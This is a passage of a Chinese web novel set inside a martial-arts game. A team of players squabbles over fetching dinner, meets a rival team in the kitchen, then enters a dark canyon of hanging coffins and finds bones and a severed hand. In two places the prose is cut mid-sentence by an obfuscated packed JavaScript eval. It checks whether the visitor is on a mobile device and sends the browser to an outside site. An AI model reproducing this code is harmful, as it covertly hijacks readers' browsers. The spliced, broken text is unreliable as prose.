五个人,除了坐在中间的明教笑眯眯的,其他四个人都是面无表情,神色甚至称得上有些冷淡。只是在看到来人是她后,队伍里的凌雪、衍天和气纯很快就挪开了视线,只有长歌朝她礼节性地微微笑了一下。 陆厌看了一眼那满脸写着好奇的小姑娘,笑道:“好了,讨论到此为止。殷炽,快把骰子拿出来。” 他叫的人却是那一脸冷漠的凌雪阁。 殷炽闻言,便取出两只象牙骰子,轻轻向桌上一抛。 他的指法很巧妙,看起来只是随意一抛,两只骰子却随着他的动作滴溜溜地在桌上转了起来。随着这骰子的转动,除了陆厌看起来还是轻轻松松,其他人的脸上竟然都出现了略微紧张的神情,一瞬不瞬地紧紧注视着它们。 这反应……莫不是什么生死攸关的大事? 孟秋好奇得糖都忘记吃了,鼓着腮帮子也盯着那两只骰子看,就看见骰子转了半天,速度终于慢了下来,其中一只当先停下,上面是六点。 “轮空。”陆厌有点遗憾地啧了一声。 第二只骰子这时候也晃晃悠悠地要在桌面上停稳了,那向上的一面在二点和三点之间摇摇晃晃,眼见着要停在三点上,祝灵正忽然以手抵唇轻轻咳了一声,那骰子微微一歪,落了下来,点数却是个二点。 “……你朝骰子吹气了。”卫山河冷着脸道。 祝灵正垂下眼不看他:“天意如此。” “那我们就先回去了。”师襄直接站起来,“我吃什么都可以,你随意。” “我也是。”殷炽道,收了骰子,人已经走出去三米远了。 眨眼间,除卫山河以外的四人已经动作飞快地走上了二楼的楼梯,只留他一个人坐在桌边。孟秋还是一头雾水,完全没看懂发生了什么,就见这气纯面色不虞地叹了口气,拂袖起身,大步流星地朝后厨去了。 后厨现在正是热闹的时候,白雾缭绕、满室飘香,玩家们三三两两地坐在长桌前,灶台后金大厨正在剁肉,斩骨刀在案板上咔咔作响,整个房梁都在震,他本人脸色也是阴沉到了极点:“吃完了就快滚!看见你那副表情就烦!” 金大厨口中的人却是祁云纵。也不知道他在第三天经历了什么,全程以极其痛苦的表情吃完了一份专供少林玩家的素食,搞得一旁也在吃素的行守都从笠帽下频频投来好奇的目光。 听到金大厨发怒,祁云纵迅速放下空碗,深呼吸调整表情直接抱拳:“告辞。” 识时务者为俊杰,溜了溜了。 卫山河往里走,正好碰见他出门。两个人都是纯阳玩家,又身形相仿,广袖翩飞,身姿挺拔,迎面撞见,明明穿的校服并不是一套,恍惚中却竟然有一种照镜子的感觉。 卫山河微微侧身避让,祁云纵却在他面前停下脚步。 长桌前的食客不少,看到这一幕,手里的饭顿时不香了,亓秀秀正是其中之一。她本来无精打采的,现在忽然精神一振,扭头就小声问金大厨:“金叔,有瓜子吗?” 金大厨一刀把案板劈成两截,怒道:“没有!” 感觉到四面八方投来的好奇目光,卫山河的面色更冷肃了,沉声问:“有事么?” 祁云纵微微颔首,报出自己的名字:“祁云纵。” 亓秀秀手里的筷子差点没拿稳,这种剑拔弩张的氛围——简直就是挑衅的前奏!她反手就拍了拍旁边还在埋头干饭的李千驰:“别吃了,快来看剑气内战!” “卫山河。” 卫山河道,脚步一错,想绕开他走进去,祁云纵却一抬手,拦住了他。 “这是真名还是游戏ID?”这个莫名其妙的剑纯问。 卫山河深呼吸,重复了一遍:“你有事么?” 行守默默放下了手里的碗筷,站起来随时准备劝架。 祁云纵一点头:“PVP还是PVE,jjc段位多少了?” “啥?” 坐在师父背后看热闹的曲小蕨脱口而出,发现自己声音太大,赶紧捂住了嘴。 “我在双线一区天鹅坪,出去之后可以加个好友,约一下33。”祁云纵以一种自然到恐怖的语气说,甚至还很真诚,“之前也打过剑气,但没遇到过合适的队友,我感觉你很强。” “……”卫山河沉默半晌,僵硬地点了点头,绕过他走到金大厨面前,机械开口,“五人份的餐打包带回房间吃,麻烦您了。” “哦。”金大厨习以为常,瞥了他一眼,“又是吃什么都随便?” 跟过来看热闹的孟秋大惑不解——原来你们扔骰子只是在决定谁来打饭?就这? “师父。”曲小蕨小声问,“双一天鹅坪不就是纵月嘛。” 她这句话被祁云纵听到了,祁云纵很坦然地告诉她:“大家都说纵月是基佬服,我觉得直接说很怪,不想造成不必要的误解。” 曲小蕨:…… 你有没有觉得这么委婉反而更怪了? 下来找人的龙葵站在门后,露出了绝望的表情。 为什么这个剑纯低到令人发指的情商总在莫名其妙的时候上线啊! 别人怎么想的,卫山河已经不想管了。他拿起金大厨递给他的食盒,快步走出后厨,经过祁云纵身边时,这人还朝他挥了挥手:“炸队友气场绝不进秘籍。” 龙葵看着这个气纯和她擦肩而过,身周气息雪一样冷冽,转眼间就消失在通往二楼的楼梯上,不禁肃然起敬。 经历了那样无厘头的一段对话之后还能云淡风轻地离去,这个人的心态真的很强。 她不知道的是,卫山河以最快的速度回到了房间,一把推开了门。 “这么慢?我都要饿死了。” 陆厌懒洋洋地倒在床边,看到他回来了,翻了个身,却愣了一下:“你怎么了?” 卫山河将手中的食盒放在小桌上,沉默了一会儿。 “我和‘饿了么’的那个剑纯说话了。” 听到卫山河回来,从里屋出来的师襄一挑眉:“那很好啊,反正根据我们之前的推论,大家基本上不会是对手了。” “很不好。”卫山河硬邦邦地说,“人很多,都在看我们。” 听到他这么说,坐在桌前的祝灵正默默地扭过了头。而殷炽面对着五份叠在一起、一模一样的餐盒,想了想,又从怀里取出一只骰子抛了一下。 三。 他拿走了第三份。 师襄在心里叹了口气。 这五毒俱全的队伍,有戏精有社恐有胆小鬼有选择恐惧症,有人跟别人说句话耳朵就红透了,有人一对视就会害羞,有人恨不得跟除了队友之外的所有人都保持三米社交距离……真是难办。 还好有自己在。 同一时间,陆厌也在叹气。他心里的想法和师襄大致差不多,只是经过了这么多天的相处,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691168|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 逐渐发现,他们之中似乎还有个隐藏很深的中二病啊。 天色渐晚,厚重的灰色雾气伴随着夜幕,缓缓地笼罩下来,客栈飞檐一角挂着的灯笼在浓雾中轻轻摇晃,昏黄的火光摇曳着,暗淡不清。 因为玩家们陆续回归而热闹了不少的客栈渐渐安静下来,唯有后厨在这个时候还是热火朝天。忙碌了一天的金大厨现在也没闲着,开始动手做起夜宵。 一口生铁铸锅,起火烧热,然后在锅底抹入半铲酥油。这酥油是反复搅打牛奶后提炼出来的凝固油脂,下到锅中后便迅速融化,伴着香甜气息泛出些细微的小气泡。待锅内酥油泛起诱人色泽,金大厨手起刀落,已经将野山菌片成大小厚薄相仿的一小摞,用筷子夹了,沾点酥油贴到锅壁上,山菌裹油遇热,顿时冒起白烟、滋滋作响。 高端的食材,往往只需要采用最简单的烹饪方式,炙烤中的山菌逐渐变得金黄,香气浑厚而霸道,扑鼻而来。另一边的铜甑也在此时被掀开,白雾翻腾中,竹篾被端了出来,上面整整齐齐地摆放着蒸好的馒头。 金大厨熟练地将馒头剖开,把煎好的野山菌加进去,再更加熟练地分别装进餐盒:“等着,还有。” 祝灵正坐在桌前,轻轻点了点头:“好的,麻烦了。” 他低头看着自己的衣袖,衍天宗的校服花纹繁复而华丽,精美的金色刺绣交织重叠,白色底料遍布暗纹。 金大厨转过身去盛汤了,祝灵正抬起手让袖子垂落在面前,小心翼翼地嗅了一下。 ……沾上锅气了,好香。 就在这时候,身后忽然传来脚步声,听声音似乎是两个人,祝灵正放下手,面无表情地注视着金大厨忙碌的背影,好似无事发生。 两位来客人未进门声先到,便听到一个人说:“你说咱俩的心理素质是不是太差了?现在才缓过来。” 另一人道:“说实话我还没缓过来,我只是真的饿得受不了了……” “真的好香啊这味道,有点像碳烤松茸——诶,这么晚还有人来吃饭啊。” 祝灵正也是这么想的。他端坐在桌前,头也不回,希望用一个冷漠的背影制造距离感,然而事与愿违,这两个人竟然一左一右分别在他旁边坐下了,并且很热络地打起招呼来。 “嗨,兄弟,这么晚了下楼吃夜宵啊。” 率先和他搭话的是个刀宗,祝灵正知道,他属于“饿了么”这支队伍。因为这整支队伍都非常怪异且惹眼,第一天就以最后一名的成绩唱着《狂》进了客栈,而且能坦然戴上黄鸡大笑头套的人绝不能以常理揣测,所以他平时就在特别留意着他们。 说起来,之前和卫山河搭话的剑纯也是这个队里的。 “嗯。”他应了一声。 “这些食盒都是你的吗?”和祝灵正搭话的刀宗正是谢不若,他好奇地看了看祝灵正面前的食盒,“三份啊,给队友带的吗?咋不带五份?” “不一定就是给队友带的,一个人也能吃三份夜宵吧。”坐在祝灵正左手边的柳七刀仗义执言,“我现在就感觉自己饿得能吃下一头牛。” “哦,那你饭量很大啊兄弟,看不太出来。”谢不若肃然起敬。 “不是……”祝灵正终于绷不住了,“这是晚餐,是给队友带的。另外两个人晚上已经下楼吃过饭了。” “我就说嘛。”谢不若点点头,又看了他一眼,忽然倒抽一口冷气,站起来一把拉起柳七刀,两个人站到角落里嘀嘀咕咕。 谢不若:“我想起来了!他是有气纯那一队的衍天!” 柳七刀:“啊,那一队。龙葵说祁云纵上午刚把气纯拦住了来着。” 谢不若:“祁云纵糊涂啊!按照一般小说的套路,他们这设定就是咱们的死敌!怎么还有主动投敌的!” 柳七刀:“不是,你什么时候才能抛弃你那小说的设定啊!你信不信我回头就告诉非姐!” 谢不若:“你小子!” 以上对话,原原本本完完整整一字不落地传进了祝灵正的耳朵。虽然说是角落,但后厨一共也就这么大点地方,即使那两人有意压低声音,事实上根本就是在立体环绕音全方位无死角播放,想听不见都难。 “……” 祝灵正面无表情地看着食盒,并不想承认,其实他们队一开始也是这么想的,毕竟PVP听起来太过唬人,玩家们彼此之间保持警惕也是应该的。但为什么同样的思路,话从这个刀宗嘴里说出来,忽然就让他感觉好蠢呢…… 三人各有想法,整个后厨只有金大厨完全不受影响,一边嘟囔着小崽子嚷嚷什么,一边开始烤肉。那是片好的野猪肉,抹了香料和盐巴腌过,涂上一层白麻油,用柴火“炙”出来。野猪肉有肥有瘦,油脂随着炙烤慢慢地滴落下来,落在柴火堆里,发出噼噼啪啪的脆响。 被串起来的野猪肉逐渐卷曲变色,金大厨取下肉片,浓郁的肉香顿时在房间里蔓延开来。这香气顿时让角落里嘀嘀咕咕的两个人站不住了,飞快地回到桌前,乖巧坐下等饭。 谢不若的胡言乱语倒是起了一点作用,这次他们没再一左一右地落座,而是隔了一个位置,坐在了祝灵正的右手边。 金大厨很有先来后到的观念,直接无视望眼欲穿的柳七刀和谢不若,先给祝灵正装好晚饭:“你俩等下一锅吧。” “我饿啊!”谢不若沮丧道,金大厨比他更凶:“饿也得忍着!谁让你们来得比人家晚?” 祝灵正提起餐盒刚站起身准备离开,听到金大厨这么一句话,忽然感觉自己就这样离去,仿佛有点嘲讽意味在里面——虽然他并不觉得先一步拿到饭菜是什么大事,但毕竟饿了么这支队伍不能以常理看待。 于是,他停下脚步,微微侧过脸,淡淡道: “如果不想和我们做敌人,那么就在第四天好好活着。” 语毕,他就转身离开,脚步轻盈,魂灯在肩头微微晃动。 “卧槽……”柳七刀看着他的背影喃喃道,“他都听见了吗?这是在下战书威胁咱们?” “啧,我就说吧。”谢不若笃定道,“像这种的一般都是大反派,你看看,他都没正眼看过我们。” 这次,他们二人的对话祝灵正却是没听到,他径直提着餐盒回了房间,一进门就受到饿着肚子的队友们的热烈欢迎,虽然这热烈欢迎也仅仅是表现在卫山河直接从他手里接走了一个餐盒,而殷炽也走了过来。 祝灵正替他选择,把右手拎着的那份饭递给殷炽。 “我也遇到‘饿了么’的人了。”他看向正在桌前写着什么的师襄。 “说话了吗?”陆厌好奇道。 “嗯。他们和第一天的我们想法很像,也认为我们彼此之间会是敌人,看来那个PVP的说法对大家影响都很深。”祝灵正道,“所以我就把我们的推论告诉他们了。” 师襄放下笔:“但那个推论也只是推论,不能说一定就是正确的。你是怎么说的?” “我知道。所以我没说我们怀疑没有通关的玩家会变成PVP敌对对象的事情,只是让他们第四天好好活着。”祝灵正淡然且自信,“这样说的话他们应该也能明白吧……但你们那是什么表情?” “……没什么。”陆厌笑得快要厥过去了,而师襄则叹了口气,再次忧虑起这个队伍的前途。 ——今天也是深感自己责任重大的一天。 21. 第四天·悬棺裂谷(二十一) “都收拾好了吗?那就出发了。” 师襄背好琴,率先推开房门。 三天的时间说短不短,说长不长,一眨眼就过去了,但对这支队伍来说,几乎是度日如年。如果再在客栈里多待几天,师襄真怕其他队伍都被自己这几个不省心的队友变成敌人。 依旧是选择客栈人最少的清晨出发,这个点无论是走廊还是大堂都没有人,她的几个队友们步伐从容,面色沉静,走路时袍袖带风,一个个至少从表面上看起来都很正常。 “第四天啊……”陆厌边走边笑,“难度又增加了,会是哪张图呢?” “地图和怪都是完全随机的,无所谓。”祝灵正道。 卫山河说:“虽然如此,但像漓水和荒雪路那样的恶劣环境,还是不要随机到比较好。” “荒雪路不就是纯阳的空雾峰吗。”殷炽瞥了他一眼,“说自己的师门是恶劣环境?” 卫山河被噎了一下,立即道:“那干脆去荒魂镇或者悬棺裂谷好了。” “……”殷炽不说话了。 师襄有点头疼地用手指敲了敲额头,心想有本事你们当着别的队伍的面也这么斗嘴。 ——如果不是湘竹溪那种尸潮的极端环境让大家能够在生死面前快速地熟悉起来,恐怕他们队内的气氛现在也不会这么融洽。师襄还记得,当她走出竹林时,看到的就是那三个人僵硬地坐着听陆厌讲单口相声的场景,卫山河偶尔发出单音节回应,殷炽直接假装自己不存在,而祝灵正好几次忍不住想开口说话,一抬眼就偃旗息鼓了。 她有时候真的觉得,一支队伍的诞生绝对不是随机的,这游戏肯定在人员筛选上下了功夫,至于她,大概就是来拯救这些完蛋队友的。 无论何时,蒋玉凤都永远站在柜台斜后方,脸上的微笑也没有丝毫变化。她似乎也习惯了这支队伍的奇怪作息,并没有多问什么,只说:“休息好了吗?” “是的。”师襄点点头。 第四天啊。 她表情不变,但抱着琴的十指微微扣紧了琴身。 经历了第三天以后,再说对第四天完全不紧张,那是绝对不可能的事情。浪客行究竟有多难、多残忍,他们都已经深深地体会过了。 但这种紧张却并不是畏惧。 在第三天过后,他们这些守住了自己身份的玩家,确实又有了一些新变化,她还是她,但她同时也是长歌。这种变化很难用语言描述得清,非要说的话,就好像她真的曾经抱着琴穿过漱心堂道道碧纱垂帘,真的在缭绕的水沉香前翻过一章章诗文。 朝来暮往,抚琴舞剑,如是十数载。 这种感觉让她的心就像被春风轻轻拂过的琴弦,渐渐地平静下来。 她知道她的队友们一定也是这样,前路依然未知,但他们并不会害怕。 确认他们都已经准备好了,蒋玉凤微微颔首,笑道:“那我来为你们开启下一段旅程。这是你们的第四天,欢迎来到……悬棺裂谷。” 眩晕的感觉传来,在黑暗降临前的一刻,师襄平静的表情忽然裂开了。 好吧,还真的有人会害怕。 卫山河这个乌鸦嘴! 眼前的景象一变,只是须臾之间,他们的脚下便已经不是客栈的木地板了。生满了暗色苔藓的泥土踩起来湿滑而黏连,眼前是犹如天堑般巨大的幽深峡谷,流萤飞过,幽幽的绿光映亮了陡峭的崖壁上高高低低悬挂着的无数黑棺。 绝壁千仞,幽幽悬棺。 阴风乍起,新魂不散。 滴答、滴答。 有不知是什么的液体顺着缠绕在山石上的藤蔓滴落下来,撞在坚硬的岩砾上,向四面溅开,风穿过内部已经被腐蚀中空的石柱,发出鬼哭一样幽长的怪异声音。 陆厌抬头望去,他夜视能力极好,但这样看过去,头顶依旧是漆黑一片,也不知是这悬崖太高、挡住了天空,还是天色本就黑沉如此。悬崖两边各有很多阴森森的溶洞,地面积着水,几根木楔子横七竖八地拦在洞口,有些地方显然是绑过火把,被熏得漆黑,露出点人工改造过的痕迹。 再远点,有一条小小的栈道,说是栈道,也不过就只是几根钉进山体里的破木板,高低不平,颜色斑驳,看起来极易朽断。 这条栈道顺着山势蜿蜒向上,最后没入不见底的黑暗之中,而栈道的顶端就垂着大大小小的黑色悬棺,它们静静地悬挂在那里,从外表上看显然是有些年头了,黑漆斑驳,似乎是经历过风吹雨淋,也不知道里面究竟有没有东西。 除此之外,陆厌就什么也看不到了。整条裂谷的深处被墨一般的浓黑所填满,没有半点亮光,连飞舞的流萤都完全隐没在其中。这片黑暗仿佛是凝结的固体,伸手不见五指,让人感到无端的压抑和窒息,甚至注视得久一点,就会有一种其实自己并没有睁开双眼的错觉。 “嚓”的一声,是师襄吹亮了火折子,点了支火把。不用多说,卫山河已经取出香篆钟,接过火把点燃了木盘香,开始计时。 要在这样沉闷且黑暗的地方待够二十四小时,光是想想就已经让人十分难受了。 他问:“我们向哪里走?是直走还是上去?” ——其实如果只是想通关的话,他们大可以在这个角落苟上一天,根本不需要去冒探索地图的风险,但那同时也意味着,他们会对这里潜藏着的危险一无所知,一时的投机取巧,反而可能招致更大的隐患。 “这栈道……不是很结实的样子。”祝灵正也拿了支火把举高,仔细观察着他们面前那条破破烂烂的栈道,那些木板已经受潮发霉,边缘生满青苔,呈现出一种诡异的黑绿色,“但是按照游戏中悬棺裂谷这张地图来看的话,我们的主要活动范围就是在悬崖上面,还是要上去的。” 陆厌伸手,轻轻敲了敲身边的崖壁:“这里可没有空气墙了。” 悬棺裂谷,现在是真正的“绝壁千仞”,万丈深渊。 “按照我的想法,还是脚踏实地安全一些。”师襄道,话锋却忽然一转,“但游戏里这张地图,怪都刷在上面吧。” “那确实。”陆厌经验丰富,笑道,“两侧都有,左手边多一点,经常刷宝箱。” “虽然不知道这张图的怪是什么,但我觉得,我们有必要上去。”师襄正色道,“我们需要技能掉落。之前孟秋说的PVP模式还不知道会从哪天开始,但今天已经是第四天,想必不会太远了。越早拿到全技能对我们越有利,即使危险也要去试一试的,总比之后无计可施强。” 她所说的,正是其他队友心里在考虑的。大家一合计,觉得确实如此,风险越大收益越大,当即决定攀上崖顶;只是这条栈道怎么看怎么不靠谱,几乎是在身上写着“踩我我就会断”,没有任何一个人想走。 还是陆厌对浪客行了解:“游戏里也有这种栈道,如果这地图是在游戏的基础上拓展的话,那么应该还有山石形成的天然阶梯可以向上攀爬,但那应该是在裂谷深处了。” 裂谷深处,就是那黑幽幽一片、只有怪异风声传出的地方。 “一般来说,这地图刷的是什么怪?”师襄问。 “虽然说是完全随机,但就我自己的经验来看……”陆厌一笑,两颗尖尖的虎牙又冒了出来,“这地图经常出现的会是尸人和鬼哦,鬼是最多的。” 他说这话的时候刻意压低了音量,缥缈的话语与从裂谷深处吹来的幽幽冷风迎合着,显得一派鬼气森森。 “那不是正好么。”一直不怎么说话的殷炽淡淡道,声音平静无波,“我们有纯阳和衍天,专门克制鬼。” 拿着火把的卫山河闻言,回头看了殷炽一眼,视线从他的脸上逐渐下移。 殷炽对他的注视没多大反应,跳动的昏黄火光映在他脸上,显得那双漆黑的眸子里也跳动着两簇火苗:“世界上没有鬼,所谓的鬼,只是浪客行制造出来的NPC。” “知道了。”卫山河忍不住道,“所以你先别靠我那么近……” “嗯。”殷炽后退十分之一步,淡然道,“都是假的,所以就没什么可怕的。” 祝灵正轻轻抬了几下左臂,试图把自己的袖子从殷炽手里抽出来,未果。 师襄瞪了坏笑的陆厌一眼,将琴抱在怀中:“别闹了,是什么怪还不一定,去看看再说。” 她又转过头,看向那深不见底的黑暗。风从里面吹出来,带着潮湿和腐烂的腥味,脚踩在泥土里,每一步都走得十分沉重,泛着黏腻的水声。数不清的黑棺安静地吊在裂谷的两壁,好像一只只沉默的黑色的眼睛,注视着这黑暗中唯一的几点光亮渐渐靠近。 仅仅是擎着火把往里走了一小段距离,众人就意识到有些不对劲了。这条峡谷远远比他们想象中的要大,而且看岩壁的走向,是两头窄、中间宽的地势,越向里走,火把能照亮的范围越小,亮光越微弱,而深处的黑暗依旧浓重,来路也逐渐淹没在一片漆黑之中。 黑暗带来了强烈的死寂感,尽管还能听到水滴轻微的滴答声,也能听到呜咽一般的风声,但走在这样压抑逼仄的环境中,总会有一种失去了感官的错觉,只有手中的几根火把是唯一的光源。 “我觉得我们好像不应该这么嚣张。”陆厌走在队伍最后面殿后,忽然开口道。 其他人停下脚步,便听到他说:“你们有没有听过‘黑暗森林法则’?” 黑暗森林法则的设定来源于一部挺有名的小说,几个人多多少少都看过或了解过,祝灵正便说:“宇宙是一座黑暗的森林,文明就像在森林中潜行的猎人……” 他看了一眼自己手中的火把,又道:“‘任何暴露自己的生命都将很快被消灭’,而人类就是在黑暗森林中升起一堆火并呐喊的孩童。” 祝灵正话音刚落,那边殷炽出手如风,已经迅速地击灭了所有火把,众人顿时眼前一黑,被厚重的黑暗瞬间淹没,但也不过是一眨眼的工夫,殷炽又吹亮了火折子,重新点了一支火把。 这一系列动作不过在短短几秒之间发生,几个人同时看向殷炽:“……” 被注视的凌雪阁手持火把,面色淡然,像什么都没发生过那样。 “行吧,一支火把够用,也没那么显眼。”师襄扶额。 那孤零零的一点火光在浓重的黑暗中变得微弱了许多,只能照亮他们身边的景象了。但正是这一停顿,借着火光,她忽然看到地上有很多零落的骸骨。 那些骸骨极不起眼,但数量很多,细小的苔藓和地衣从白骨中穿过,将它们大部分掩盖在密密麻麻的草叶之下。 “哇哦。”陆厌也看到了,感慨了一句,“这裂谷有点东西。” 殷炽将手中的火把递给卫山河,自己蹲下身径直捡起一根白森森的骨头,上面还沾了些青黑色的汁液。看到他这种反应,本来还有点心惊的几人反而平静下来,知道那大概率不是人骨,对这些微有些惊悚的画面更是见怪不怪了,果然便听到殷炽说:“是动物的骨头,体型不大,兔子之类的吧。” “不是人的就行。”卫山河说,又看到殷炽一皱眉,从那堆七零八落的白骨中捡起一根稍大一些的断骨来。 这断骨的截面参差不齐,但并不粗糙,一看就是被什么大型动物的利齿咬断的,但夹在那堆骸骨中并不显眼,也是殷炽眼神好,才能将它翻出来。 他们看到这东西,心里差不多也有数了。 “原来是野兽。”祝灵正轻声道,“浪客行里的野兽有什么?” “我想想,包括boss在内的话有醉猿、猴子、狼,然后是……小野猪、红毛野猪、黑毛野猪、巨型白毛野猪。”陆厌憋着笑,一口气数出一串野猪来。 在明确这里的红名怪是野兽之后,殷炽看起来从容多了。他完全无视陆厌的调侃,自顾自握着那截断骨站起来,指尖在粗砺的断面略一摩挲:“这似乎是鹿的腿骨,看这个断面,捕猎者的体型非常巨大。” “那就是巨型白毛野猪?”师襄略一沉思,又看向前方深不可测的黑暗,“怪不得游戏要留一条栈道暗示我们上山。” ——虽然普通野猪也会爬山,但巨型白毛野猪体型庞大,相较于普通野猪,需要补充的能量也更多,并不适合在山崖上栖息与捕猎,极大可能栖居在裂谷的谷底。 “野猪也吃肉,如果这里真的有巨型白毛野猪的话,它就很可能是这里的食物链顶端,谷底就是它的领地。”卫山河道,“不过山上也不一定安全,很难说会不会有其他野兽。” 他着重提醒师襄:“情况明了之前,我觉得最好还是不要一口气杀进它的老巢……” 师襄微微一点头:“我知道,这个先不急。” 先不急,就是还会杀进去。其余四人交换了一个眼神,无声地在心里叹了口气。 “我是想,今天明明是第四天的难度,这个地图也做得这么唬人,难道就放一堆野兽在这里么?”师襄并没有注意他们的小动作,而是屈起指节无声地轻叩着琴身,若有所思,“区区巨型白毛野猪,似乎和悬棺裂谷这张图不算太匹配。” “说到这个。”祝灵正道,“刚刚殷炽熄灭火把的那一瞬间,我总觉得我好像看到了什么。” 这句话配以他一贯轻而缓的声音说出来,在此刻阴森的环境下,格外诡异。四人顿时齐刷刷转头看向他,殷炽的链刃都握在了手中,陆厌说:“这也是你们衍天宗的设定?” 祝灵正却摇头道:“只是一晃眼的事情。而且我再仔细一回忆,却好像又什么都没有看到。” 按照祝灵正的性格,但凡有一点追根究底的可能,他都不会这么说。师襄抿了抿唇,即使知道这件事怕是要成疑点了,还是有些不甘心:“在这里任何一点异常都值得注意,你再仔细想想,争取想起来。” 她总结道:“这样,还是先摸清楚地形和情况,大家都注意一些,在搞清楚情况前不要发出过大的响动暴露自己……现在,找路上山。” 人对黑暗的恐惧是刻在基因之中,与生俱来的。一种说法是,在远古时期,只有那些害怕黑夜的先民才能因为畏缩不出而躲过那些黑夜之中的狩猎者,从而在没有火与刀的时代存活下来,而抗拒黑暗由此也成为了人的一种本能。 但有时候,人却要强行违背这种本能,踏进深不见底的黑暗之中。 五支火把减少成一支之后,众人的视线更加受限了,满眼的黑色仿佛有了重量,像大山一样当头压下来,直逼得人屏住呼吸。微弱的火光堪堪照亮几人的身周,越向山谷之内走,身边的崖壁就离他们越远,他们不得不时刻调整脚步,以免不知不觉间偏离了方向。 祝灵正背后的玉女守门在黑暗中也散发出澄澈的淡淡荧光,他索性将魂灯从背后取了下来,提在手里。晃动的烛火映亮了地面,那些散落的细小白骨越来越多,草叶已经没办法将它们遮盖住了,即使大家都很注意,一脚踩下去还是会发出令人牙酸的轻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么了?”师襄还在打量那几根木楔子,闻声便问。 “这些草都被压平了。”陆厌低头看去,笃定道,“有什么东西压过这里。” 殷炽举着火把,已经跳上了第二阶:“这里也是。” 光源离得远了有些看不清楚,陆厌半蹲着,兜帽摘了下来,总是微微眯起来的狭长眼睛在黑暗之中完全睁开,露出一对翡翠一样的碧绿眼瞳来,被黑色手甲包裹住的手指轻轻拂过地面,拨弄着那些被压扁的草叶。 “奇怪了。”看清楚那些草叶之后,陆厌便有些笑不出来了,“这些痕迹还很新鲜,也不过是刚刚才留下的。” 他眉头一皱,沉声道:“你们刚刚有注意到什么动静吗?” 不必多说,众人都是摇了摇头,脸色很差。 这一路除了轻微的风声和水滴声,再无其他声音,整个裂谷都是死寂一片。 到底有什么东西能悄无声息地当着他们的面爬上巨石、去往山顶? 那东西,又看到他们手里的火把、听到他们说话了吗? “我们还往上走么?” 短暂沉默后,卫山河低声问。 师襄果断道:“走,去看看到底是什么玩意,随时准备进战。” 这队人颇有些明知山有虎、偏向虎山行的气魄,没有一人对师襄的决定提出异议,殷炽将火把递给陆厌,由他在前面领路,一行人顺着巨石无声地向上攀爬。 这些巨石重叠起伏,蜿蜒上行,高度落差很大,有些地方必须跳上去,裂谷里潮气很重,巨石的边缘生了湿滑的青苔,轻轻踩上去就会溅出一蓬水。在这样伸手不见五指的黑暗中前进,即使有火把照明也十分危险,毕竟这里不是游戏中的浪客行,没有空气墙将玩家与危险的边缘地带隔离开来。 滴答…… 一滴冰凉的水溅在卫山河的脸侧。 他是有点洁癖的,当下立即用手背轻轻擦去那滴水。这裂谷里到处都是黑棺,谁知道这些水是雨水还是别的什么玩意。 就在这个时候,陆厌停下脚步。 他们攀上这一块巨石已经很久了,但始终没有再摸索到下一块巨石的边缘。感受到脚下的地面也逐渐变得平坦起来,陆厌压低声音道:“我们应该是到半山的部分了——就是平时浪客行的出生点高度。” 这也只是一个推测而已,因为周围实在太黑、也太安静,连呜咽般的风声都变得小了起来,他们根本不能确定自己究竟在哪里。按理说,怪一般都会刷新在这一层,但黑暗之中是一片令人不安的死寂,好像这个世界除了他们,再没有任何别的什么东西了。 殷炽还在追踪地上那些被压平的痕迹。不像谷底还有些泥土,他们脚下基本上已经是大块的山岩了,植被也变得零星起来,那些痕迹断断续续,变得难以判别,再加上光线昏暗,他不得不俯下身贴近地面仔细勘察。 很奇怪的一点是,那些驳杂的痕迹夹杂着一些刮擦岩石的白痕,但凡是有这些痕迹的地方都湿漉漉的,所以那些刮擦的痕迹在被水润湿之后并不明显。 殷炽还想看得清楚点,忽然头顶就是一凉,异样的感觉传来。他反应很快,立刻停下脚步,伸手在面前一挡,这才没一头撞上面前的障碍。 察觉到异常响动,陆厌立刻上前,火把举高,照出了面前一片藤蔓纵生的倾斜岩壁。 ——他们真的来到了半山腰。 “那个痕迹在这里消失了。”殷炽直起身,表情绷得又冷又硬。 “穿墙了吗?”师襄自言自语道,伸手轻轻敲了敲岩壁,触手确实是山岩没错,几乎没发出一点声音,也不像是空心的。 他们对视一眼,脸上表情都有些奇怪。陆厌啧了一声,就说:“不会真的是鬼吧。” 听他这么说,殷炽默不作声地从崖壁前退了两步,一直退回到站在队伍最末的卫山河旁边。 他刚侧过脸准备说什么,黑沉沉的瞳孔却骤然紧缩,这种表情出现在这时候最是吓人,卫山河顿时后背一麻,以为自己身后有东西。 他迅速转身,刚要反手抽出背后长剑,余光却看到手背上竟然是一片血红。 过大的动作幅度让队友们纷纷回头,接二连三露出震惊的神色。 “你什么时候受伤了?”师襄惊道,飞快地从包里翻出绷带和凝血精。 看到他们的反应,卫山河大致也知道是怎么回事了。他接过绷带叠了两叠当成帕子,忍着不适往脸上一擦,上面果然便洇上了血水。 “这不是我的血。”他说,缓缓地抬起头。 陆厌将火把移了过去,祝灵正也抬高了魂灯。明暗闪烁不定的光线之中,他们头顶依旧是一排栈道,看上去却比山底的结实多了。只是这栈道边缘的木楔子七零八落,被撞断了好些,而其中一道缺口处,赫然夹着一只断手,而鲜血正顺着指尖慢慢地滴落下来,撞在岩壁上,又向四面溅开。 那只手,明显是卡在了那些粗壮木楔的缺口处,被不知名的巨力硬生生从人身上扯下来的,断面血肉模糊,还带着半截被扯断的布料,半面岩壁都被染成了红色,看起来实在是诡谲莫名。 师襄看着那只断手,就感觉有股寒意慢慢地从脚底升起。 